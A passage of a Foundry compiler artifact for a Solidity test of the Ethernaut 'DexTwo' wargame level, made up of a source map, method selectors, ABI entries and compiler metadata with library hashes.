;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;20036:184::-;20106:6;20159:2;20147:9;20138:7;20134:23;20130:32;20127:52;;;20175:1;20172;20165:12;20127:52;-1:-1:-1;20198:16:155;;20036:184;-1:-1:-1;20036:184:155:o;20225:125::-;20290:9;;;20311:10;;;20308:36;;;20324:18;;:::i;20537:383::-;20734:2;20723:9;20716:21;20697:4;20760:45;20801:2;20790:9;20786:18;20778:6;20760:45;:::i;:::-;20853:9;20845:6;20841:22;20836:2;20825:9;20821:18;20814:50;20881:33;20907:6;20899;20881:33;:::i;:::-;20873:41;20537:383;-1:-1:-1;;;;;20537:383:155:o;20925:335::-;21004:6;21057:2;21045:9;21036:7;21032:23;21028:32;21025:52;;;21073:1;21070;21063:12;21025:52;21106:9;21100:16;21139:18;21131:6;21128:30;21125:50;;;21171:1;21168;21161:12;21125:50;21194:60;21246:7;21237:6;21226:9;21222:22;21194:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/DexTwo.t.sol\":\"TestDexTwo\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR 